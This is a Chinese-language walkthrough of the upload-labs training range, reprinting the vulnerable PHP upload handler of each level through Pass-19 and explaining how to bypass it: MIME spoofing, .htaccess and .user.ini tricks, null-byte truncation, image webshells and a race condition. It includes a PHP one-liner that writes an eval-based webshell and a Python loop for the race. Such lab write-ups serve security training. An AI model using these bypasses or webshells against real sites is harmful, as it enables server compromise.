upload-labs 通关攻略【靶场】


思维导图

Pass-01(前端验证)

代码审计

  • 使用了文件类型白名单;
  • 仅前端过滤,可在前端删除函数、使用 burpsuite 抓包修改文件后缀名、停用 JavaScript 避开绕过。

lastIndexOf() 是 JavaScript 字符串的一个方法,用于返回指定字符或子字符串在目标字符串中最后一次出现的位置索引。

substring() 是 JavaScript 字符串的一个方法,用于从目标字符串中提取指定位置的子字符串。

indexOf() 是 JavaScript 字符串的一个方法,用于查找指定字符或子字符串在目标字符串中第一次出现的位置索引。

function checkFile() {
    var file = document.getElementsByName('upload_file')[0].value;
    if (file == null || file == "") {
        alert("请选择要上传的文件!");
        return false;
    }
    //定义允许上传的文件类型
    var allow_ext = ".jpg|.png|.gif";
    //提取上传文件的类型
    //lastIndexOf() 用于返回指定字符或子字符串在目标字符串中最后一次出现的位置索引
    var ext_name = file.substring(file.lastIndexOf("."));
    //判断上传文件类型是否允许上传
    if (allow_ext.indexOf(ext_name + "|") == -1) {
        var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name;
        alert(errMsg);
        return false;
    }
}

因为是前端验证,在谷歌浏览器中停用 JavaScirpt 即可

也可使用 burpsuite 抓包,直接修改文件后缀名

image-20231116201907126

蚁剑连接

image-20231116202815653

Pass-02(MIMETYPE)

代码审计

  • Content-Type 类型白名单检测;

file_exists() 是 PHP 中的一个内置函数,用于检查文件或目录是否存在。

move_uploaded_file() 函数可以将上传的文件从临时位置移动到指定的目标位置。

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name']            
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '文件类型不正确,请重新上传!';
        }
    } else {
        $msg = UPLOAD_PATH.'文件夹不存在,请手工创建!';
    }
}

使用 burpsuite 抓包,将 Content-Type 类型改为 image/jpeg 即可

MIME类型是用于标识互联网上各种文件的数据格式的一种标准。它主要用于指示文件的媒体类型和子类型。

在网络通信中,MIME类型通常与文件的扩展名相关联,以便能够正确地解析和处理文件。例如,常见的MIME类型包括:

  • text/plain:纯文本文件
  • text/html:HTML文件
  • application/json:JSON数据
  • application/xml:XML数据
  • image/jpeg:JPEG图像
  • image/png:PNG图像
  • audio/mp3:MP3音频
  • video/mp4:MP4视频

当你在网络中传输文件时,服务器通常会根据文件的扩展名或内容来确定适当的MIME类型,并在HTTP响应的Content-Type头部字段中进行指定。这样,接收方就能够根据MIME类型来正确地解析和处理接收到的数据。

image-20231116203950901

蚁剑连接

image-20231116203939225

Pass-03(黑名单验证)

代码审计

  • 黑名单过滤文件后缀名,黑名单不全

trim() 是一个用于去除字符串首尾空白字符的 PHP 函数。它可以去除字符串开头和结尾的空格、制表符、换行符以及其他空白字符。

deldot() 并不是 PHP 内置的函数。它可能是你自己定义的一个函数或者来自于某个特定的代码库。因此,我无法提供确切的解释和使用方法。

strrchr() 是 PHP 中的一个内置函数,用于在字符串中查找最后一次出现指定字符(或字符串)的位置,并返回该位置及其之后的所有字符。

in_array() 是 PHP 中的一个内置函数,用于检查一个值是否存在于数组中。

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array('.asp','.aspx','.php','.jsp');
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //收尾去空

        if(!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;            
            if (move_uploaded_file($temp_file,$img_path)) {
                 $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

本题为黑名单验证,由于 phpstudy 环境问题,需修改配置文件

修改 httpd-conf 配置文件

image-20231116211155530

添加代码,修改完配置文件重启 phpstudy 服务器

AddType application/x-httpd-php .php .phtml .php2 .php3 .php4 .php5

image-20231116211300691

上传 .php3 文件

image-20231116213119326

蚁剑连接

image-20231116213136730

Pass-04(.htaccess)

代码审计

  • 黑名单过滤,没有过滤 .htaccess 文件
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".ini");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //收尾去空

        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '此文件不允许上传!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

.htaccess 文件是一种用于配置 Apache Web 服务器的文件。它是一个隐藏文件,位于网站的根目录或特定目录中,具有名为".htaccess"的文件名。该文件使用 Apache 的配置指令,可以用来修改服务器的行为,如重定向 URL 、启用或禁用模块、设置文件权限等。

启用 .htaccess ,需要修改 httpd.conf ,启用 AllowOverride ,并可以用 AllowOverride 限制特定命令的使用。如果需要使用 .htaccess 以外的其他文件名,可以用 AccessFileName 指令来改变。例如,需要使用 .config ,则可以在服务器配置文件中按以下方法配置:AccessFileName .config 。
它里面有这样一段代码:AllowOverride None ,如果我们把None改成All

image-20231116215201095

上传 .htaccess 文件

<FilesMatch 'shell.jpg'>
SetHandler application/x-httpd-php
</FilesMatch>

再上传 .jpg 的 shell 文件,蚁剑连接

image-20231116215832530

Pass-05(.user.ini)

代码审计

  • 黑名单中没有过滤 .php7 以及 .ini
  • 可使用php. . 点空格点
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空
        
        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '此文件类型不允许上传!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

user.ini:自 PHP 5.3.0 起,PHP 支持基于每个目录的 .htaccess 风格的 INI 文件。此类文件仅被 CGI/FastCGI SAPI 处理。此功能使得 PECL 的 htscanner 扩展作废。如果使用 Apache,则用 .htaccess 文件有同样效果。

除了主 php.ini 之外,PHP 还会在每个目录下扫描 INI 文件,从被执行的 PHP 文件所在目录开始一直上升到 web 根目录($_SERVER[‘DOCUMENT_ROOT’] 所指定的)。如果被执行的 PHP 文件在 web 根目录之外,则只扫描该目录。

在 .user.ini 风格的 INI 文件中只有具有 PHP_INI_PERDIR 和 PHP_INI_USER 模式的 INI 设置可被识别。

两个新的 INI 指令,user_ini.filename 和 user_ini.cache_ttl 控制着用户 INI 文件的使用。

user_ini.filename 设定了 PHP 会在每个目录下搜寻的文件名;如果设定为空字符串则 PHP 不会搜寻。默认值是
.user.ini。

user_ini.cache_ttl 控制着重新读取用户 INI 文件的间隔时间。默认是 300 秒(5 分钟)。

想要引发 .user.ini 解析漏洞需要三个前提条件

  • 服务器脚本语言为PHP

  • 服务器使用CGI/FastCGI模式

  • 上传目录下要有可执行的php文件

方法一

先上传 .user.ini 文件,再上传 .jpg 的 shell 文件

Auto_prepend_file=shell.jpg

image-20231116221835832

方法二

使用php. . 点空格点,绕过上传

直接上传 .php 文件,使用 burpsuite 改包

image-20231116223513167

蚁剑连接

image-20231116222949750

Pass-06(大小写绕过)

代码审计

  • 没有过滤大小写
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空

        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '此文件类型不允许上传!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

黑名单过滤,但是没有使用 strtolower() 函数,可以使用大小写绕过黑名单

将 .php 后缀改为 .PHP

蚁剑连接

image-20231116224807495

Pass-07(空格绕过)

代码审计

  • 没有使用 trim() 函数去除空格
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
        $file_name = $_FILES['upload_file']['name'];
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        
        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
            if (move_uploaded_file($temp_file,$img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '此文件不允许上传';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

burpsuite 改包,添加空格

image-20231117112230094

蚁剑连接

image-20231117112329412

Pass-08(点号绕过)

代码审计

  • 没有 f i l e n a m e = d e l d o t ( file_name = deldot( filename=deldot(file_name); 去掉末尾的点

str_ireplace() 是 PHP 中的一个内置函数,用于在字符串中进行不区分大小写的替换操作。

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空
        
        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '此文件类型不允许上传!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

burpsuite 抓包,在后缀添加点号 shell.jpg. ,蚁剑连接

image-20231117113047486

Pass-09(::$DATA)

代码审计

  • 黑名单中没有对 :: DATA 进行处理,可以使用 ::DATA 绕过
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = trim($file_ext); //首尾去空
        
        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '此文件类型不允许上传!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

php 在 window 的时候如果文件名 +":: D A T A " 会把 : : DATA" 会把 :: DATA"会把::DATA 之后的数据当成文件流处理,不会检测后缀名,且保持 “::$DATA” 之前的文件名,他的目的就是不检查后缀名。

上传 php 文件,抓包将后缀改为 shell.php::$DATA

image-20231117123424966

使用蚁剑连接时需要删除 ::$DATA

image-20231117123523490

image-20231117123537384

Pass-10(. .)

代码审计

upload-labs 的 deldot() 函数从后向前检测,当检测到末尾的第一个点时会继续它的检测,但是遇到空格会停下来。

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空
        
        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '此文件类型不允许上传!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

上传文件后,用 burpsuite 改后缀名,加点空格点

image-20231117125743987

蚁剑连接

image-20231117125650183

Pass-11(双写绕过)

代码审计

  • str_ireplace() 函数寻找文件名中出现在后缀黑名单的字符,不区分大小写,替换为空格
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess","ini");

        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = str_ireplace($deny_ext,"", $file_name);
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = UPLOAD_PATH.'/'.$file_name;        
        if (move_uploaded_file($temp_file, $img_path)) {
            $is_upload = true;
        } else {
            $msg = '上传出错!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

上传 shell.php 使用 burpsuite 改后缀为 shell.pphphp 使用蚁剑连接

image-20231117130808603

Pass-12(get00截断)

代码审计

  • php 版本小于5.3
  • magic_quotes_gpc=Off

substr() 函数是 PHP 中用于获取字符串的子串的函数。

strrpos() 是一个 PHP 内置函数,用于在字符串中查找最后一次出现指定字符(或字符串)的位置。

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
    if(in_array($file_ext,$ext_arr)){
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = '上传出错!';
        }
    } else{
        $msg = "只允许上传.jpg|.png|.gif类型文件!";
    }
}

image-20231117133040850

php 的一些函数的底层是 C 语言,而 move_uploaded_file 就是其中之一,遇到0x00会截断,0x表示16进制,URL 中%00解码成16进制就是0x00。当处理到00,就当作处理完成。

上传 shell.php 文件,burpsuite 改包

upload/ 后面添加 shell.php%00

下方的后缀名改为 .jpg

image-20231117150022481

蚁剑连接时需要删除蓝色部分的内容

image-20231117150407514

image-20231117150420866

Pass-13(post00截断)

代表审计

  • 使用 post 发送的数据进行截断
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
    if(in_array($file_ext,$ext_arr)){
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = $_POST['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = "上传失败";
        }
    } else {
        $msg = "只允许上传.jpg|.png|.gif类型文件!";
    }
}

上传 shell.jpg 改包,在后缀名之后添加占位符

image-20231117163108799

将空格20改为00截断

image-20231117163226253

蚁剑连接,需要删除蓝色部分的内容

image-20231117163355570

Pass-14(图片马)

代码审计

  • 读取判断上传文件的前两个字节,判断上传文件的类型,根据得到的文件类型重命名上传的文件

unpack() 是一个 PHP 内置函数,用于将二进制数据解包为一个关联数组或索引数组。

"C2chars" 表示按照无符号字符类型解析 2 个字节的数据。

intval($strInfo['chars1'].$strInfo['chars2']) 将解析结果中的两个字符拼接成一个字符串,并使用 intval() 函数将其转换为整数类型。

在 JPEG 文件中,文件的前两个字节通常是 FF D8(十进制表示为 255 216),这是 JPEG 文件的标识码。

function getReailFileType($filename){
    $file = fopen($filename, "rb");
    $bin = fread($file, 2); //只读2字节
    fclose($file);
    $strInfo = @unpack("C2chars", $bin);    
    $typeCode = intval($strInfo['chars1'].$strInfo['chars2']);    
    $fileType = '';    
    switch($typeCode){      
        case 255216:            
            $fileType = 'jpg';
            break;
        case 13780:            
            $fileType = 'png';
            break;        
        case 7173:            
            $fileType = 'gif';
            break;
        default:            
            $fileType = 'unknown';
        }    
        return $fileType;
}

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $file_type = getReailFileType($temp_file);

    if($file_type == 'unknown'){
        $msg = "文件未知,上传失败!";
    }else{
        $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$file_type;
        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = "上传出错!";
        }
    }
}

Jpg 格式图片的文件头标识:FFD8开头FFD9结尾

Png 格式图片的文件头标识:89 20 4E 47 0D 0A

Gif 格式图片的文件头标识:GIF89a GIF87a

方法一

生成图片马 /b 表示二进制模式处理 /a 表示 ascii 码模式处理

image-20231117171149967

上传图片马,使用文件包含

构造 URL 为 ?file=upload/1820231117171357.jpg

image-20231117171658883

蚁剑连接

image-20231117171746809

方法二

上传 shell.gif 文件,修改数据

image-20231117172625233

Pass-15(getimagesize)

代码审计

  • getimagesize()检查是否为图片文件

file_exists() 是一个 PHP 内置函数,用于检查文件或目录是否存在。

image_type_to_extension() 是一个 PHP 内置函数,用于将图像类型转换为相应的文件扩展名。

stripos() 是一个 PHP 内置函数,用于在字符串中查找子字符串的第一次出现的位置,忽略大小写。

function isImage($filename){
    $types = '.jpeg|.png|.gif';
    if(file_exists($filename)){
        $info = getimagesize($filename);
        $ext = image_type_to_extension($info[2]);
        if(stripos($types,$ext)>=0){
            return $ext;
        }else{
            return false;
        }
    }else{
        return false;
    }
}

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $res = isImage($temp_file);
    if(!$res){
        $msg = "文件未知,上传失败!";
    }else{
        $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").$res;
        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = "上传出错!";
        }
    }
}

上传图片马,文件包含,蚁剑连接

image-20231117174056116

Pass-16(exif_imagetype)

代码审计

  • exif_imagetype() 读取一个图像的第一个字节并检查其后缀名。
function isImage($filename){
    //需要开启php_exif模块
    $image_type = exif_imagetype($filename);
    switch ($image_type) {
        case IMAGETYPE_GIF:
            return "gif";
            break;
        case IMAGETYPE_JPEG:
            return "jpg";
            break;
        case IMAGETYPE_PNG:
            return "png";
            break;    
        default:
            return false;
            break;
    }
}

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $res = isImage($temp_file);
    if(!$res){
        $msg = "文件未知,上传失败!";
    }else{
        $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$res;
        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = "上传出错!";
        }
    }
}

需要开启 php_exif 模块

image-20231117175218781

上传图片马,文件包含,蚁剑连接

image-20231117175316215

Pass-17(二次渲染绕过)

代码审计

对上传的图片进行判断了后缀名、content-type,使用函数判断是否为 jpg、png、gif 图片,最后进行二次渲染。

basename(path[,suffix]) ,没指定suffix则返回后缀名,有则不返回指定的后缀名。

strrchr(string,char) 函数查找字符串在另一个字符串中最后一次出现的位置,并返回从该位置到字符串结尾的所有字符。

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])){
    // 获得上传文件的基本信息,文件名,类型,大小,临时文件路径
    $filename = $_FILES['upload_file']['name'];
    $filetype = $_FILES['upload_file']['type'];
    $tmpname = $_FILES['upload_file']['tmp_name'];

    $target_path=UPLOAD_PATH.'/'.basename($filename);

    // 获得上传文件的扩展名
    $fileext= substr(strrchr($filename,"."),1);

    //判断文件后缀与类型,合法才进行上传操作
    if(($fileext == "jpg") && ($filetype=="image/jpeg")){
        if(move_uploaded_file($tmpname,$target_path)){
            //使用上传的图片生成新的图片
            $im = imagecreatefromjpeg($target_path);

            if($im == false){
                $msg = "该文件不是jpg格式的图片!";
                @unlink($target_path);
            }else{
                //给新图片指定文件名
                srand(time());
                $newfilename = strval(rand()).".jpg";
                //显示二次渲染后的图片(使用用户上传图片生成的新图片)
                $img_path = UPLOAD_PATH.'/'.$newfilename;
                imagejpeg($im,$img_path);
                @unlink($target_path);
                $is_upload = true;
            }
        } else {
            $msg = "上传出错!";
        }

    }else if(($fileext == "png") && ($filetype=="image/png")){
        if(move_uploaded_file($tmpname,$target_path)){
            //使用上传的图片生成新的图片
            $im = imagecreatefrompng($target_path);

            if($im == false){
                $msg = "该文件不是png格式的图片!";
                @unlink($target_path);
            }else{
                 //给新图片指定文件名
                srand(time());
                $newfilename = strval(rand()).".png";
                //显示二次渲染后的图片(使用用户上传图片生成的新图片)
                $img_path = UPLOAD_PATH.'/'.$newfilename;
                imagepng($im,$img_path);

                @unlink($target_path);
                $is_upload = true;               
            }
        } else {
            $msg = "上传出错!";
        }

    }else if(($fileext == "gif") && ($filetype=="image/gif")){
        if(move_uploaded_file($tmpname,$target_path)){
            //使用上传的图片生成新的图片
            $im = imagecreatefromgif($target_path);
            if($im == false){
                $msg = "该文件不是gif格式的图片!";
                @unlink($target_path);
            }else{
                //给新图片指定文件名
                srand(time());
                $newfilename = strval(rand()).".gif";
                //显示二次渲染后的图片(使用用户上传图片生成的新图片)
                $img_path = UPLOAD_PATH.'/'.$newfilename;
                imagegif($im,$img_path);

                @unlink($target_path);
                $is_upload = true;
            }
        } else {
            $msg = "上传出错!";
        }
    }else{
        $msg = "只允许上传后缀为.jpg|.png|.gif的图片文件!";
    }
}

对于做文件上传之二次渲染建议用GIF图片,相对于简单一点

上传正常的 gif 图片,下载回显的图片,使用 010Editor 编辑器进行对比两个 gif 图片内容,找到相同 Hex 的地方并插入 php 一句话木马,上传带有木马的 gif 图片

image-20231117190908490

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

文件包含漏洞解析

image-20231117191021497

蚁剑连接

image-20231117191033743

Pass-18(条件竞争一)

代码审计

  • 服务器收到文件后,先是将上传的文件保存,再与白名单对比,如果是 jpg、pen、gif 的一种,则将文件重命名,如果不符合,unllink() 函数就会删除该文件
$is_upload = false;
$msg = null;

if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_name = $_FILES['upload_file']['name'];
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $file_ext = substr($file_name,strrpos($file_name,".")+1);
    $upload_file = UPLOAD_PATH . '/' . $file_name;

    if(move_uploaded_file($temp_file, $upload_file)){
        if(in_array($file_ext,$ext_arr)){
             $img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
             rename($upload_file, $img_path);
             $is_upload = true;
        }else{
            $msg = "只允许上传.jpg|.png|.gif类型文件!";
            unlink($upload_file);
        }
    }else{
        $msg = '上传出错!';
    }
}

如果继续上传图片马,网站没有文件包含漏洞,无法解析,只能上传 php 马

因为源码是先保存文件再判断,所以能在服务器删除木马之前访问解析,使用条件竞争上传绕过

<?php 
    file_put_contents('wwq.php','<?php @eval($_REQUEST[wwq])?>')
?> 

不停的使用 burpsuite 发包,再用 python 脚本不停的访问上传的文件,在服务器删除文件的间隙执行文件,就会在当前目录下生成一个 shell.php 文件

先上传 php 文件,发送到 Intruder 模块

image-20231117193941004

清除有效负载标记

image-20231117194148603

设置无限发送空的 Payloads

image-20231117194358895

调高线程数

image-20231117194839797

编写 python 脚本不断的访问上传上去的 php 文件

import requests
url = "http://10.1.1.5/upload-labs/upload/shell.php"
i = 1
while True:
    res = requests.get(url=url)
    print(f"第{i}次访问")
    i += 1
    if res.status_code == 200:
        print("上传成功")
        break

开始发包

image-20231117210947650

执行 python ,成功生成 wwq.php 文件

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

蚁剑连接

image-20231117211112564

Pass-19(条件竞争二)

这一关存在 bug 上传的路径不在 upload 文件夹下,需要修改代码

image-20231117211826967

代码审计

  • 服务器先将文件后缀名与白名单对比,然后检查文件大小以及文件是否存在,文件上传之后对其进行了重命名
  • cls_arr_ext_accepted:这是一个包含允许上传的文件扩展名的数组。只有扩展名在这个数组中的文件才会被接受。
  • upload() 方法:这是用于上传文件的主要方法。它接受一个目标目录作为参数,并按照一系列步骤来处理上传文件。
